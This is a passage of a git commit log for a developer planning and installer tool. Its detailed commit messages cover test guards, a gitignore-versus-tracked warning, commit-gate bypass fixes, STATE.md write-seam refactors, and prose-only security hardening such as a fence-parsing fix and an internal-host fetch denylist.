are three separate conditions, not one: prune always, write only when there is
something to write, create the directory only when writing.

Both call sites now run _removeGsdEntries before the empty-staged early exit.
The symlink-escape guard moved with it, since the prune also touches dest.
Codex .toml agents and the config.toml stanzas are cleaned again, and
user-owned agents are still preserved.

The agents/ directory is left in place after a prune empties it, matching
every sibling kind - none of them remove the destination directory itself.

Golden fixtures confirmed byte-identical: the prune is a no-op on a fresh
install, so fixture generation is unaffected.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2875): document interrupted-install recovery for user-owned files

The durable-staging fix is invisible to the user it protects. Someone whose
install died mid-flight has no way to know USER-PROFILE.md was staged before
the delete, that the next run restores it, or that recovery happens at the
start of that run rather than in the background.

Written as the task the user has - finish the interrupted command - rather
than as a description of the mechanism, and states what it will not do:
overwrite a file already present, or touch staging belonging to another
install still running.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2875): backfill changeset pr number

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#2875): assert the J8 model override without building a regex

CodeQL flagged incomplete string escaping: the assertion interpolated the
override value into a RegExp while escaping only forward slashes, which is
meaningless in a constructor, leaving real metacharacters unescaped.

The failure direction was the dangerous one - a metacharacter would have made
the match more permissive, so the row would pass when it should fail. That
matters here because J8 exists precisely because an earlier revision was a
tautology; the rewrite reintroduced a different way for the same assertion to
stop discriminating.

Replaced with a line-wise exact match, so no regex is constructed at all.
Swept the other test files this branch adds; no sibling instances.

lint:ci passed on the original - lint-no-adhoc-regex-escape matches a full
metachar-escape copy, so a single slash replace slipped under it.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 17:25:53 -04:00
Tom Boucher
5f64d999dc fix(#3586): warn when .planning/ is gitignored but still tracked (#3598)
* feat(#3586): warn when .planning/ is gitignored but still tracked

git ignore rules have no effect on files git already tracks, so a project
that committed .planning/ before ignoring it keeps staging those files --
while commit_docs correctly resolves to false, which is exactly what makes
the contradiction invisible.

The probe lives in the SNAPSHOT BUILDER, not the rule: Rule.check may perform
no ambient I/O (ADR-3180 8.1 rule 1, enforced by lint-planning-snapshot-bypass).
buildPlanningTrackedField follows buildWorktreeHealthField's precedent --
injected execGit, bounded, degrading to UNREADABLE with a typed reason rather
than throwing. W024 went inline instead only because no snapshot field carried
its fact; that precondition does not apply here.

W029 fires only on COMPLETE scope with ignored and tracked both true, so a
degraded probe yields neither a finding nor a false all-clear, and the default
project (tracked, not ignored) stays silent. The remedy is ADVISE-only --
--repair never untracks anything.

* docs(#3586): document W029 and correct the health rule count

CONFIGURATION.md documented the gitignore auto-detect without the caveat that
ignore rules do not affect already-tracked files -- the very gap W029 exists to
surface. Adds the caveat, the warning, its remedy, and why --repair will not
act on it.

CONTEXT.md's rule count was stale at 31 before this change (actual 32 through
W028); corrected to 33 and pointed at the two other places the count is locked,
so the next editor updates all three together.

* fix(#3586): treat ls-files overflow as tracked, add CLI-level W029 tests

Review findings.

Security (minor, confirmed): execGit sets no maxBuffer, so Node's 1MB default
applies to git ls-files. A .planning/ tree large enough to overflow it failed
into git_list_failed and silenced W029 -- a false negative in exactly the
large-history case most likely to have the real bug. Overflow is now treated
as PROOF of tracking (the output was non-empty by definition) and resolves to
tracked:true, scope COMPLETE, reason ok_truncated.

Spec (major): test-matrix rows C1 and C2 were never implemented -- there was no
CLI-level integration test at all, only rule-level ones. Both now drive the real
validate-health dispatch and confirm W029 is reachable end-to-end.

Known limit documented, not papered over: a deliberate git add -f under an
otherwise-ignored .planning/ raises the same signal as the accidental case.
There is no reliable way to tell them apart, the finding is advisory-only, and
a heuristic that cannot actually distinguish them would be worse than the
honest caveat.

* test(#3586): update frozen health-doc counts and acknowledge health.md growth

The remote matrix caught three gates that lint:ci does not cover.

gen-health-docs.test.cjs froze a 35-row / 32-rule assertion; W029 makes it
36/33. Updated both the assertion and the test NAME, which embeds the counts --
a stale name is a lie even when the assertion passes. The second reported
failure was the same assertion surfacing at describe-rollup granularity, not a
distinct bug.

emitted-attribution's growth arm needed an ack for the generated health.md.
health.md was already named in 3309-health-docs-generated.json, and two ack
sources naming one path is a hard error -- so a new fragment was not an option.
That fragment's own history shows the pattern: #3309 created it, #2873 amended
it in place for W028. Amended again for W029, with a note recording why this
one file is amended rather than joined by a sibling.

* docs(#3586): add the private-planning how-to and fix a wrong link

docs/CONFIGURATION.md pointed 'Configure private planning' at
how-to/configure-model-profiles.md -- an unrelated page -- and no
private-planning how-to existed at all. Found while editing that section.

The how-to test genuinely fires here: going private is four steps and crosses
planning.search_gitignored, a setting owned by another concern, so a reference
table structurally cannot carry it. The new page walks the whole sequence and
leads with the step people miss -- .gitignore does not untrack what git already
tracks -- which is the exact state W029 now detects.

Also corrects 'artefacts' to 'artifacts' (repo house style is American).

* chore(#3586): backfill changeset pr number to 3598

---------

Co-authored-by: sim <sim@local>
2026-08-17 15:56:46 -04:00
Tom Boucher
98ecb2ba8c enhance(#2142): archive quick tasks at milestone close-out (#3592)
* test(#2142): failing-first coverage for quick-task archival at milestone close-out

* enhance(#2142): archive quick tasks at milestone close-out

* fix(#2142): resolve review findings — readme injection, move/reset ordering, owned state write

* fix(#2142): fold archival under milestone namespace, expose index IR, dedupe reset decision

* test(#2142): assert archive-dir-relative summary path in index IR

* docs(#2142): backfill changeset pr number to 3592

* test(#2142): skip newline-fixture injection test on windows (control chars illegal in path names)

---------

Co-authored-by: sim <sim@local>
2026-08-17 14:51:00 -04:00
Tom Boucher
7c649a9970 fix(#3585): close raw-git bypasses of the commit_docs gate (#3590)
* test(#3585): repo-wide guard for unguarded .planning/ git add

Replaces the two-file #1783 scan, which required .planning/ on the git add
line and so was structurally blind to fast.md's `git add -A` and to
new-milestone.md (never scanned).

Extracts the shell tokenizer, comment-position rule and gsd-scan-ignore
marker from the #2269 guard into tests/helpers/shipped-command-scan.cjs so
both guards consume one implementation. Commit-specific logic stays in
commit-files-pathspec.test.cjs; every pre-existing test there passes
unedited.

Fails RED on five sites: fast.md:58, new-milestone.md:262, spec-phase.md:480,
eval-review.md:148, ai-integration-phase.md:263. The last three carry a
markdown prose conditional outside the bash block it claims to guard.

* fix(#3585): close raw-git bypasses of the commit_docs gate

Five shipped workflow steps staged .planning/ with raw git. Two had no
check at all; three had a markdown prose conditional sitting outside the
bash block it claimed to guard, so the block ran unconditionally.

spec-phase, eval-review and ai-integration-phase now route through the
gsd_run query commit seam, which performs the commit_docs and gitignore
checks internally and returns a skipped envelope -- this deletes the raw
git pair rather than wrapping it.

new-milestone stages directories for a later commit and cannot use the
seam, so it takes the executable guard form, fail-open on a tooling error.

fast writes no planning artifacts and has no gsd_run in scope at that
point, so it excludes .planning via pathspec instead of reading config.

Guard now reports 0 offenders.

* test(#3585): pin skipped_gitignored to production behavior

COMMIT_REASON was a test-local frozen enum joined to production only by a
hand-maintained keep-in-sync comment -- the Generative Fix Divergence class,
whose required remedy is a parity assertion.

B1-B3 already pinned SKIPPED_COMMIT_DOCS_FALSE. SKIPPED_GITIGNORED was
pinned by nothing: production could rename it and every test still passed.

G1-G3 drive the gitignore auto-detect path and assert the canonical reason.
The fixture must OMIT .planning/config.json entirely -- with config.json
present the loader resolves commit_docs to false first and cmdCommit returns
skipped_commit_docs_false, never reaching its own isGitIgnored branch.

* docs(#3585): document the planning commit gate and its guard

CONTEXT.md had zero commit_docs entries. Adds a Planning Commit Gate
glossary entry covering the resolution chain, the typed skip envelope, the
measured ordering of the two reason codes, and why the gate is enforceable
only as a text guard.

CONTRIBUTING.md gains the contributor rule for the new guard, with the
prose-is-not-a-guard example that caused three of the five defects.

* fix(#3585): address review findings in the planning-add guard

Spec review (blocker): fast.md excluded .planning unconditionally, changing
behavior for commit_docs=true users and violating epic AC4. Now gated -- the
launcher preamble was MOVED from log_to_state into the commit block rather
than copied, so gsd_run is in scope for +4 lines instead of +4KB, and the
else branch is byte-identical to the previous git add -A.

Security review (major): git -C <dir> add was a false negative because the
flag-skip loop never modelled flags that consume a separate value. Fixed for
-C/-c/--git-dir/--work-tree/--namespace. The fail-closed rule now also covers
$(...) substitution args and --pathspec-from-file, which were opaque in the
same way $VAR is. git commit -a/-am is now classified as reaching, since it
stages every tracked modification.

Self-review: isSkippable treated any NAME= token as a skippable prefix, so
V=$(git add -A) escaped -- the exact divergence the shared-helper extraction
existed to prevent. Adopted the sibling predicate verbatim.

eval, xargs, one-line function bodies and line-continuation remain blind and
are now enumerated as declared limits in the guard docblock and CONTRIBUTING.
The ifDepth clamp is defensive only: a 200k-case differential fuzz found no
reproducing input, so its test is labeled a pin, not a failing-first test.

* test(#3585): acknowledge emitted growth in three workflow files

emitted-attribution has two arms: hash attribution AND per-file growth. The
growth arm needs an acknowledgment even when every moved byte is attributable
to the diff, which is why the first remote run went red on it.

fast.md +417: the launcher preamble moved into the commit block so gsd_run is
in scope for the commit_docs guard, plus the guard itself.
new-milestone.md +281: the executable guard plus one line recording that the
unstaged archive move is deliberate.
spec-phase.md +21: reworded prose describing the skipped envelope.

eval-review.md and ai-integration-phase.md shrank; no entry needed.

* test(#3585): drop duplicate spec-phase ack, shrink its prose instead

The base already acknowledges spec-phase.md (from #2733), and two ack sources
may never name the same path. But a base-side ack is SPENT -- it cannot clear
new growth -- so the two gates were in direct conflict: attribution wanted an
ack, the ack lint forbade one.

Resolved by removing the growth rather than the conflict. spec-phase.md's +21
was purely a prose reword; rewritten shorter, the file now shrinks 36 bytes
against base and needs no acknowledgment at all.

fast.md and new-milestone.md have no base ack and keep theirs.

* chore(#3585): backfill changeset pr number to 3590

---------

Co-authored-by: sim <sim@local>
2026-08-17 13:34:55 -04:00
Tom Boucher
3c61b4a838 enh(#3565): sentinel/contract registry + check:contract-drift lint (#3571)
* enh(#3565): sentinel/contract registry + check:contract-drift lint

* fix(#3565): report artifact-row markers once and dedupe per marker

* docs(#3565): backfill changeset pr number

---------

Co-authored-by: sim <sim@local>
2026-08-16 12:59:08 -04:00
Tom Boucher
a4a02a7a01 enhance(#2874): return the executed plan and route install IO through a seam (#3568)
* test(#2874): add failing-first gate for the executed-plan return

Four rows from the matrix's red-first order. E3 pins the one early return,
for the opencode family, where a void-shaped hole would otherwise survive
unnoticed. E13 sweeps every runtime in the registry - enumerated from the
registry rather than hardcoded, so a runtime added later cannot slip past.
F2 proves absence of real filesystem contact rather than merely that the
happy path ran, which is the difference between a complete seam and a
partial one.

G1 and G3 are the additive guard and must be green before and after. G3
deliberately leaves the two existing adapter test doubles untouched: if
this change required editing them it would not be additive, and the
acceptance criterion would be unmet.

No production code. All 19 runtimes install without throwing today, so
E3 and E13 fail on the undefined comparison alone.

Refs #2874

* feat(#2874): return the executed plan and route install IO through a seam

installRuntimeArtifacts returned void, so its correctness was observable
only by re-reading disk. It now returns what it executed - per kind, per
scope - including on the combinedFamilyInstall path, which was the one
early return where a void-shaped hole would have survived unnoticed.

Failure still throws rather than becoming an ok:false return, so control
flow is unchanged for both existing callers. A best-effort cleanup that
fails is still swallowed, but is now visible in the returned value rather
than silently absent.

The fs seam is ambient rather than threaded. Explicit deps through
install-profiles and the 3000-line conversion module was impractical; the
tradeoff, the synchronous-only re-entrancy assumption, the restore
guarantee and the partial-adapter fallback trap are all documented at the
seam. findInstallSourceRoot and its sibling stay unrouted by design -
they locate the package's own source, not the install destination.

readCmdNames keeps a second implementation because the standalone CLI
that owns the original cannot require the compiled adapter without a
build-order dependency on its own output. A parity test fails if the two
ever disagree.

Refs #2874

* chore(#2874): gitignore the new build artifact

install-fs-adapter.cjs is tsc output from src/install-fs-adapter.cts, not
a tracked source file. It was added to eslint's ignore list but not to
.gitignore, so it landed as a tracked file - the third time this step of
the new-.cts ripple has been missed on this epic.

Refs #2874

* fix(#2874): close two seam leaks and correct a false comment

A correctness review found the seam still leaked in two places, both
subtler than the three already closed.

readGsdCommandNames was routed when it should not have been: it reads the
package's own commands directory, which a destination-fake is never
seeded with, so under a fake adapter it returned an empty or wrong roster
instead of failing loudly. It now reads real fs, matching the precedent
already documented for findInstallSourceRoot.

cleanupStagedSkills ran raw rmSync from a process exit handler, which is
real filesystem work deferred past the point where withInstallFs has
restored - the one thing the synchronous-only contract exists to
exclude. Staging now captures the adapter that created each directory and
cleanup replays it, so a real install cleans up exactly as before and a
fake-staged path never reaches the real filesystem.

Also corrected a comment claiming the migration reads were an unrouted,
untested residual gap. They are routed and exercised; a comment
understating the seam is as corrosive as one overstating it in a module
whose trust rests on being honestly documented.

Refs #2874

* test(#2874): migrate the exemplar group and cover the matrix

AC3's exemplar migration lands in place: the qwen install group now
asserts skills and agents destinations from the returned plan in one
deepStrictEqual instead of probing the filesystem for each.

Nine facts the old probes established were enumerated first. Two moved to
the value assertion; seven were retained deliberately - per-file SKILL.md
existence, the VERSION file written outside this function, the manifest
content, and the post-uninstall absence checks all sit outside the plan's
per-kind contract. A migration that quietly asserts less looks like a win
and is a regression, so the enumeration is the guard rather than the
line count.

Also implements the rest of the matrix: the executed-plan shape, adapter
failure modes, the security-boundary rows including a fake that cannot
certify an install the real filesystem would refuse, cleanup visibility,
and two seeded property tests. Only the two external CI gates are left
unticked, because self-certifying them would be a claim rather than a
check.

Refs #2874

* fix(#2874): restore streaming hashes and derive F2 from the boundary rule

The checkpoint found three things reasoning had missed.

sha256File had been converted from raw-fd streaming to a single
readFileSync on the assumption that GSD artifacts are never large. A test
named for exactly that contract already existed and went red. Streaming is
restored, now routed through the adapter, which gains openSync, readSync
and closeSync. The contract was the specification; the assumption was not.

Three existing tests inject faults by monkeypatching real fs. They broke
because mkInstallTempDir stopped calling real mkdtempSync, not because of
any binding subtlety - the real adapter was already late-bound. It now
calls the real function when no fake is injected, so a monkeypatch applied
after import is still seen and the additive contract holds.

F2 poisoned real fs by method, so a deliberately unrouted package-source
read failed a correct design. It now poisons by path: destination IO is
forbidden, package-source IO is allowed and positively asserted. The claim
was always zero real destination IO, and the test now derives from that
rule instead of coincidentally matching it.

Refs #2874

* docs(#2874): add the contributor how-to for plan-based test migration

The phase gate caught a real gap. The docs plan was Reference plus
Explanation only, and every CI check would have passed, because the
docs-required lint only verifies that some file under docs/ moved.

But this phase exists to demonstrate a pattern for follow-on work, and
that work is other contributors migrating probing test groups. The
sequence has two live traps - a partial fake silently falls back to real
fs, and the seam is ambient and synchronous-only - plus one discipline
nobody infers: enumerate the facts before converting, or you assert less
and call it a win.

The page carries the qwen migration's arithmetic, nine facts enumerated
and only two converted, because a reader seeing only the diff would
reasonably conclude the pattern is to replace probes wholesale.

No locale mirrors: none of the four carries any contributor-only how-to,
so a single translated file would manufacture parity rather than provide
it.

Refs #2874

* chore(#2874): backfill changeset pr number

* test(#2874): normalize both sides of the G1 tree comparison

G1 failed on Windows only, deterministically on both shards. The defect
was in the test helper, not production.

_computePathPrefix posix-normalizes the resolved config dir
unconditionally, so on Windows the path embedded in every emitted
SKILL.md body is forward-slash form. hashDirTree stripped against the raw
backslash path from mkdtempSync, so the substring never matched and each
install's unique temp suffix stayed baked into every file - all fifteen
skill bodies hashed differently for two runs that had written identical
bytes.

Both sides are now normalized unconditionally rather than gated on
path.sep, matching the rule this repo already records: backslash paths
arrive on Linux too.

Production code is untouched and was verified correct. Normalizing this
away on the production side would have hidden a real portability bug if
one had existed.

Refs #2874

---------

Co-authored-by: sim <sim@local>
2026-08-16 02:48:24 -04:00
sim
147856040b fix(#2873): close review findings across fences, sanitizer and docs
Isolated security review found resolveSpecRootReference's fence tracker
toggled on any delimiter, so a backtick fence could be closed by a tilde
one and an include in the gap was rewritten inside a code block. Fixed by
reusing scanFencedBlocks - the canonical engine already behind
stripFencedCode and extractFencedBlock - rather than carrying a fourth
copy of fence detection, which also closes the duplication the standards
review flagged.

sanitizeForRender now strips combining marks and zero-width characters
alongside the ANSI, control and bidi classes it already handled.

Adds the C, E and F matrix rows the spec review found missing, including
installer-level coverage that spawns the real install rather than calling
the report builder. Ships the how-to, the reference and command docs in
five locales, the changeset, the inventory and glossary entries, and
regenerates health.md for the new W028 rule.

Refs #2873
2026-08-14 23:48:39 -04:00
Tom Boucher
6badb839a0 fix(#3514): deny internal fetch hosts; disclose unverified integrity (#3516)
* test(#3514): add failing-first denylist and integrity suites

* fix(#3514): deny internal fetch hosts; disclose unverified integrity

* docs(#3514): trust-model, glossary, and changeset entries

* fix(#3514): scope v6 checks to literals; exact pin kinds in prompt

* chore(#3514): backfill changeset pr number

---------

Co-authored-by: sim <sim@local>
2026-08-14 21:34:29 -04:00
Tom Boucher
e57918a648 fix(#3515): disclose the intentional mcp unconfined posture (#3517)
* test(#3515): add failing-first unconfined-mcp notice suite

* fix(#3515): disclose the intentional mcp unconfined posture

* chore(#3515): backfill changeset pr number

---------

Co-authored-by: sim <sim@local>
2026-08-14 21:19:04 -04:00
Tom Boucher
411196bc3a refactor(#3471): one enforcement point for the empty case, and reports that match the disk (#3519)
* refactor(#3471): one enforcement point for the empty case, and reports that match the disk

Implements ADR-3408 section 8.5 and section 8.4's residue (folded in when Phase
3 closed as subsumed). Four items, and two findings the design did not predict.

FINDING 1 — the guards could not simply be deleted, as the design instructed.
state sync and REGENERATE_STATE never run applyStatePreservation at all, so
those six conditions were their ONLY empty-field fallback. A baseline probe on
the unedited tree confirmed unconditional deletion drops current_phase,
current_phase_name, current_plan, stopped_at and paused_at from a blank-body
STATE.md on state sync — breaking the byte-identical requirement section 8.3
grants those two sanctioned-permanent exceptions. They are now GATED, not
deleted: on for the exceptions, off for the write seam, where an empty derived
value finally reaches the executor unmolested.

FINDING 2, the more serious one — there was a FOURTH encoding of this policy.
The pre-existing #2202 unknown-key carry-forward loop independently restored
the same six fields whenever derivedFm lacked the key, completely neutralizing
the fix. It is named nowhere in the ADR, the design, or three prior phases. It
was found only because a probe that should have passed did not: the first
attempt reported divergedFields: [] and silently restored both fields,
reproducing the exact bug this phase exists to close.

That is worth stating plainly. This epic's thesis is 'policy declared in one
table, enforcement hand-rolled per call site.' The final phase found one more
call site than anyone had counted — which is the fourth consecutive time a copy
count in this epic proved to be a lower bound.

Also: divergedFields could only observe fields the executor actively RESTORED,
by diffing postFm. A discard-to-empty is absent both before and after, so it
was invisible. A second pass now reports it, which is what makes section 8.5's
'preservation is visible' true for the delete-the-body-line case rather than
aspirational.

cmdPhaseComplete now reports what it preserved — #3374 was filed against that
command and its complaint was warnings: [], silence.

cmdStateJson's private third copy of the guards is routed onto the executor's
preserve-when-unchanged rule. A read is definitionally not a write, so the
#1230 delta is 'unchanged' and curated wins over a stale annotation.
shouldPreserveExistingProgress is a different rule and is untouched.

Report reconciliation is ONE shared helper across seven commands, not five
copies of fix(#3351)'s block. Five copies of a reconciliation is precisely the
shape this epic removes, and introducing it in the final phase would have been
a poor joke. Both untraced commands were traced rather than assumed:
cmdStatePlannedPhase matched cmdStateBeginPhase exactly; cmdStateCompletePhase
turned out to be a different legacy hand-rolled path reporting a mix of field
names AND a section name, where the naive helper would have dropped 'Current
Position' as a false negative every time.

* test(#3471): characterization coverage for one enforcement point and reconciled reports

Matrix sections A-E, asserted at the consumer's output per ADR-3180 Decision
4(b)/(c) — this phase owes Decision 5's outcome metric, the one the drift
guard's zero may never be reported without.

Three walls matter more than the new coverage:

  A2 is SIX separately named tests, one per gated guard, not one parameterised
  assertion over a list. A list is trivially shortened later; six named tests
  are not, and six guards is exactly where a field gets silently dropped.

  A6 pins what Phases 1-3 already fixed — non-empty stale body, delta
  unchanged, losing to fresher curated frontmatter, with the divergence
  reported. If A6 reddens, this phase broke the thing the epic was for.

  D1/D2 pin state sync byte-identical. The implementation had to GATE the six
  guards rather than delete them precisely because state sync has no executor,
  and a baseline probe showed unconditional deletion drops five fields.
  Nothing else in the suite would notice that regression.

E6 covers #3345's direction — a field preservation restored that the intent
never named IS reported. Nothing has ever tested that direction.

Assertions were empirically verified against the compiled lib and the real CLI
before being written, since the suite cannot be executed locally. That caught
two type bugs in the draft: fm.current_phase after a quoted-YAML round-trip is
the string '5', not the number 5.

E5 is recorded as structurally unreachable rather than weakened or faked. Those
four commands report body Title-Case labels, which cannot string-collide with a
frontmatter snake_case key the way cmdStatePatch's arbitrary field names can —
which is why fix(#3351) targeted only cmdStatePatch. Testing it directly would
need reconcileReportedFields exported from private scope; the helper is
exercised through E6 and all seven commands instead.

* docs(#3471): amend ADR-3408 section 8.5 — a fourth enforcement point, and guards that could not be deleted

Amendment 3. The contract held; two of section 8.5's own statements did not.

It said the six empty-only guards are DELETED. They cannot be. writeStateMd is
the sole path for both section 8.3 sanctioned-permanent exceptions and never
runs applyStatePreservation, so those guards were their only empty-field
fallback. A baseline probe on the unedited tree confirmed unconditional
deletion drops five fields from a blank-body STATE.md on state sync, breaking
the byte-identical guarantee section 8.3 grants it. They are gated instead.

It also mis-located cmdStateJson's guards, describing them as living in
syncStateFrontmatter. They were a separate private copy on the read path with
no delta check at all, so a stale body annotation always beat fresher curated
frontmatter in state.json — #3395's shape entirely outside the write seam.

THE FINDING: a fourth enforcement point nobody had counted. The pre-existing
#2202 unknown-key carry-forward loop independently restored the same six
fields, silently neutralizing the fix. It is named nowhere in this ADR, in the
phase design, or in three prior phases, and was found only because a probe that
should have passed did not.

Fourth consecutive time a copy count in this epic proved a lower bound: 2
write-seam bypasses became 4, three preservation encodings became four, and the
estimate was wrong every time. ADR-3180's standing rule has earned itself in
every phase — read the code, not the write-up.

Records the Row 2 decision (a discard-to-empty wins per the delta rule and is
reported, not silent — the sharpest Hyrum exposure in the epic), section 8.4's
residue landing as ONE shared reconcileReportedFields across seven commands
rather than five copies, and the parity assertion added because
FRONTMATTER_KEY_TO_BODY_LABEL was itself a second table that failed silently —
this epic's shape in miniature, in its final phase.

* fix(#3471): repair four regressions the checkpoint caught

Checkpoint returned 16 failures of 34389: six real regressions in pre-existing
tests, plus seven of my own test bugs.

My hypothesis was wrong and is recorded as such. I predicted the #2202
carry-forward skip was the cause, reasoning it had removed a load-bearing
fallback the way the six guards nearly were. It was not implicated in any of
the six. Three unrelated causes:

#2111 — current_phase came back undefined from milestone complete, which is
the epic's own defect class reintroduced by its final phase. Root cause is
Row 2 working exactly as designed: milestoneCompleteCore rewrites the body
Phase: line to a closure message, so current_phase's #1230 delta reads
CHANGED and the new rule correctly discards the curated value. The transition
never declared any intent to touch that field. Fixed by re-asserting
current_phase and current_phase_name through authoritativeFm — the existing
#2736 mechanism beginPhaseCore and completePhaseCore already use — rather
than by weakening Row 2, which A5 pins.

That interaction is worth naming: a rule that keys on 'did this write change
the body source' will fire on a transition that moves the body line for an
entirely unrelated reason. The design did not anticipate it.

#1264 / #3242 / the state.patch progress report — reconcileReportedFields
folded EVERY divergedFields entry into updated, including preserve-always
progress restores no caller asked about. Now scoped to preserve-when-unchanged
rows only.

#1162 / case-insensitive table fields — valueOf checked frontmatter before
body, so a lowercase table field name exact-matched the lowercase frontmatter
key sync always derives, comparing stale pre-sync body text against a
post-sync frontmatter enum. Flipped to body-first.

That last one is the SAME lesson as Phase 2's patchCore, recurring in a
different function two phases later: in this model the body is authoritative
and frontmatter is the projection, so a name that could mean either resolves
body-first. Twice now.

Test bugs: a stray unused parameter shifted every argument at six call sites,
so body arrived undefined; and A4 compared nested progress scalars against
numbers when extractFrontmatter returns raw YAML strings. The string-vs-number
YAML round-trip has now been caught three times in this phase alone.

* test(#3471): one helper for the progress coercion that bit four times

A2f failed on the string-vs-number YAML round-trip: extractFrontmatter returns
nested progress scalars as raw YAML strings, so a comparison against numeric
literals can never pass.

This is the FOURTH time this exact class has been caught in this phase — twice
during test authoring, once as A4 in the previous checkpoint, now as A2f.
Patching it a fourth time by hand would guarantee a fifth.

Added numericProgress() with a comment saying why it exists, and routed every
progress-reading assertion in the #3471 block through it. Swept the block:
C3 needed no change, because cmdStateJson's output already runs through
normalizeProgressNumbers.

Deliberately NOT shared with frontmatter.test.cjs's readPersistedProgress:
that one is path-based and re-reads from disk, while these assert on an
in-memory string that is never written. Sharing would have meant either a
disk round-trip these tests do not do, or duplicating half the helper — so
the coercion pattern is mirrored locally and the reason recorded, rather
than manufacturing a dependency to satisfy the letter of consolidation.

* chore(#3471): backfill pr number in changeset fragment

---------

Co-authored-by: sim <sim@local>
2026-08-14 21:06:01 -04:00
Tom Boucher
fba7c90327 chore(#3484): adr-0174 behavior carry-forward amendment and merge gate (#3507)
* chore(#3484): adr-0174 behavior carry-forward amendment and merge gate

* chore(#3484): regen example context index for new ruleset predicates

* chore(#3484): review fixes - amendment heading per contributor-standards, helper-based fixtures

---------

Co-authored-by: sim <sim@local>
2026-08-14 19:31:48 -04:00
Tom Boucher
e2f4c16d9e refactor(#3469): one composition for the STATE.md write seam (#3501)
* docs(#3469): amend ADR-3408 section 8.3 — the pipeline has sanctioned exceptions

Section 8.3 read 'Every STATE.md write applies the pipeline.' That is false by
design for two commands, and acting on it would have inverted a shipped
feature.

Preservation makes curated frontmatter win over a re-derived body value.
state sync exists to do the opposite — #905's 'body annotation beats existing
frontmatter when both are present'; it re-derives frontmatter FROM the body.
REGENERATE_STATE is a factory reset that rebuilds STATE.md from scratch.
Applying the pipeline to either would re-lock exactly what the command was
invoked to replace.

This issue's own scope line, inherited from the epic, said to route the direct
writeStateMd callers through the pipeline. For cmdStateSync that would have
shipped silently, with every gate green, because no test asserts that sync
LETS the body win. Caught by reading the helper's docstring and then verifying
the claim against the code — a stale comment had already misdirected this epic
once.

Both commands are now named in a closed exception list and are permanent
ratchet entries.

Consequence recorded rather than left to bite Phase 4: the 'drive the ratchet
to 0 and delete the file' target in this ADR and in #3471 is wrong. Two
entries are permanent, so the correct end state is 2, and the honest report is
'0 removable bypasses, 2 sanctioned'. A guard reaching 0 here would only do so
by having stopped looking at two real writers.

* refactor(#3469): one composition for the write seam, not one per caller

Implements ADR-3408 section 8.3 as amended.

syncAndPreserveStateMd is now the single composition of syncStateFrontmatter
and applyPostSyncPreservation. readModifyWriteStateMd and cmdPhaseComplete
both CALL it instead of each assembling the two steps themselves.
cmdPhaseComplete keeps its own writePlanningFileSet envelope — the
composition returns content, it does not take over the write, so STATE.md
still commits atomically with ROADMAP and REQUIREMENTS.

Assembling the stages at a call site is a re-derivation even when every step
calls an owner. Upstream's fix(#3374) routed cmdPhaseComplete through
applyPostSyncPreservation but left it calling syncStateFrontmatter directly
first, so the composition was duplicated and free to diverge with both guards
green. That is ADR-3180 Amendment 2's finding repeating on the write side.

cmdMilestoneComplete gains preservation. It wrote through writeStateMd, so it
got sync and no preservation — the identical shape #3374 reported for
phase.complete, and flagged upstream as a follow-up in the helper's own
docstring. This is that follow-up.

Divergence is now visible: preservation_warnings names each field restored
over a disagreeing derived value. Deliberately NOT named warnings —
cmdPhaseComplete already exposes warnings as a prose string array, and two
sibling commands carrying that name with different element types is
Generative Fix Divergence, the class this epic exists to remove.

patchCore stops running stateReplaceField over the whole document. One
observable consequence, intended per design row 9: a frontmatter-shaped patch
key with no body counterpart now reports failed instead of silently
succeeding, because the old whole-document match was literally hitting the
YAML line case-insensitively.

The guard closes Phase 1's DECLARED KNOWN GAP as promised rather than
re-deferring it: section 8.3(b) detection is tractable now the composition
exists. Scoped by two factors to avoid Phase 1's measured 29-to-1 false
positive rate — a variable field-name argument AND a content argument whose
nearest preceding assignment is not stripFrontmatter. Verified 0 findings and
0 false positives across all 33 call sites, plus 5 synthetic shapes. It also
detects the re-assembly shape above.

Ratchet: 4 entries to 2, both sanctioned-permanent. cmdStateSync's owner
changes from #3471 to sanctioned-permanent per Amendment 2 — routing it
through preservation would invert the #905 contract.

Also fixed inline rather than deferred: cmdMilestoneComplete's STATE.md read
now happens inside withStateLock. It previously read outside any lock before
writeStateMd took its own, leaving a TOCTOU window under concurrent writers.

* test(#3469): characterization coverage for the single write seam

Matrix sections A-E. Criterion 6 was amended by maintainer decision — all five
instances closed by point fixes while Phase 1 was in flight — so these are
characterization tests at the consumer's output per ADR-3180 Decision 4(b)/(c),
paired with the drift guard's count, never either alone.

Section C is the one that earns its keep. cmdStateSync is a sanctioned
permanent exception: state sync exists to re-derive frontmatter FROM the body,
so preservation there re-locks exactly what the command was invoked to
replace. C1 pins that the body wins; C4 pins that this phase left the command
byte-identical. Nothing else in the suite would notice if a future change made
sync start preserving, and the natural reading of 'one write seam' is to make
precisely that change.

Section E pins the guard's false-positive scoping. E4 (updateCore's
strip-then-replace) and E5 (sectionBody-scoped calls) must NOT be reported —
the naive detector measured 29 false positives to 1 true positive in Phase 1.
E7 is the inverse: a sanctioned-permanent entry disappearing must FAIL,
because a guard reaching zero here would only do so by having stopped looking
at two real writers.

Also corrects a stale test that asserted patchCore's old whole-document
behavior, which this phase deliberately changes.

One honest limitation, flagged rather than papered over: A1's 'byte-identical
to pre-refactor' cannot be diffed against real pre-refactor bytes from inside
the suite. It is implemented as the seeded fast-check property that
cmdPhaseComplete's composed output equals readModifyWriteStateMd's for the
same inputs — the strongest available proxy, not the literal claim.

* docs(#3469): refresh the seam glossary entry and add the changeset

Two spec-review gaps, both real.

CONTEXT.md's STATE.md Transition Module entry named three direct writeStateMd
callers including cmdMilestoneComplete. This phase routed that one through the
composition, so the line was false the moment the refactor landed.

Worth recording plainly: I wrote that sentence in Phase 0, correcting an
older stale pointer in it, and my own Phase 2 change invalidated it again
within the same epic. That is the exact drift this epic exists to remove,
demonstrated on the epic's own documentation — and it is why the entry now
ends by saying the whole-repo drift guard, not this line, is the authoritative
count.

The entry now records the composition (syncAndPreserveStateMd) and states that
exactly two direct callers remain, both SANCTIONED PERMANENT rather than debt.

Changeset: type Changed, because milestone complete's observable output moves.
Tier-2 per ADR-3180 Decision 3 — a stale body line no longer wins over fresher
frontmatter, and the command gains preservation_warnings. Docs requirement is
